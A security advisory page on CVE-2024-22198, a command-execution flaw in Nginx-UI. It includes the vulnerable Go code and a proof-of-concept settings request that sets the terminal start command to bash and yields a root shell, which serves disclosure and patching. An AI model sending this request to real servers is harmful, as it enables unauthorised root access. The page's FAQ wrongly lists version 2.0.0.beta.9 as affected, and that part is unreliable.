CVE-2024-22198: Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)

Published Jan 11, 2024
·
Updated

Summary Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.

Details The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API.

go func InitPrivateRouter(r gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... }

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.

The SaveSettings function is defined as follows:

go func SaveSettings(c gin.Context) { var json struct { Server settings.Server json:"server" ... }

...

settings.ServerSettings = json.Server

...

err := settings.Save() ... }

The Terminal Start Command setting is stored as settings.ServerSettings.StartCmd. By spawning a terminal with Pty, the StartCmd setting is used:

go func Pty(c gin.Context) { ...

p, err := pty.NewPipeLine(ws)

... }

The NewPipeLine function is defined as follows:

go func NewPipeLine(conn websocket.Conn) (p Pipeline, err error) { c := exec.Command(settings.ServerSettings.StartCmd)

... This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept > Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "startcmd":"bash" : http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 512 Authorization: <<JWT TOKEN>> Content-Type: application/json

{"nginx":{"accesslogpath":"","errorlogpath":"","configdir":"","pidpath":"","testconfigcmd":"","reloadcmd":"","restartcmd":""},"openai":{"baseurl":"","token":"","proxy":"","model":""},"server":{"httphost":"0.0.0.0","httpport":"9000","runmode":"debug","jwtsecret":"...","nodesecret":"...","httpchallengeport":"9180","email":"...","database":"foo","startcmd":"bash","cadir":"","demo":false,"pagesize":10,"githubproxy":""}} 3. Open a terminal from the web interface and execute arbitrary commands as root: root@1de46642d108:/app# id uid=0(root) gid=0(root) groups=0(root)

Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Other sources

Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. While the UI doesn't allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9.

NVD

Affected Software

15 affected componentsFixes available
go/github.com/0xJacky/Nginx-UI<2.0.0.beta.9
2.0.0.beta.9
NginxUI Nginx UI<2.0.0
NginxUI Nginx UI=2.0.0-beta1
NginxUI Nginx UI=2.0.0-beta2
NginxUI Nginx UI=2.0.0-beta3
NginxUI Nginx UI=2.0.0-beta4
NginxUI Nginx UI=2.0.0-beta4_patch
NginxUI Nginx UI=2.0.0-beta5
NginxUI Nginx UI=2.0.0-beta5_patch
NginxUI Nginx UI=2.0.0-beta6
NginxUI Nginx UI=2.0.0-beta6_patch
NginxUI Nginx UI=2.0.0-beta6_patch2
NginxUI Nginx UI=2.0.0-beta7
NginxUI Nginx UI=2.0.0-beta8
NginxUI Nginx UI=2.0.0-beta8_patch

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/0xJacky/Nginx-UI to a version that resolves this vulnerability.

    Fixed in 2.0.0.beta.9
  2. Upgrade

    Upgrade uozi/nginx-ui to a version that resolves this vulnerability.

    Fixed in 2.0.0.beta.9
  3. Configuration

    After upgrading to 2.0.0.beta.9, ensure the “Terminal Start Command” (stored in settings.ServerSettings.StartCmd) is set to an intended, fixed command (e.g., not an interactive shell such as bash) so it cannot be abused for arbitrary command execution via the settings API.

    Nginx-UI (settings.ServerSettings.StartCmd) start_cmd / Terminal Start Command = <set to a non-interactive, fixed command that does not accept user-controlled input>

Event History

Jan 11, 2024
Advisory Published
via GitHub·04:32 PM
CVE Published
via MITRE·07:38 PM
Data Sourced
via MITRE·07:38 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-22198?

The severity of CVE-2024-22198 is classified as high due to the potential for arbitrary command execution.

2

How do I fix CVE-2024-22198?

To fix CVE-2024-22198, upgrade Nginx-UI to version 2.0.0 or later, addressing the vulnerability.

3

Which versions are affected by CVE-2024-22198?

CVE-2024-22198 affects Nginx-UI versions up to 2.0.0.beta.9.

4

What type of vulnerability is CVE-2024-22198?

CVE-2024-22198 is categorized as an arbitrary command execution vulnerability.

5

What products are impacted by CVE-2024-22198?

CVE-2024-22198 impacts Nginx-UI, specifically versions including and below 2.0.0.beta.9.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203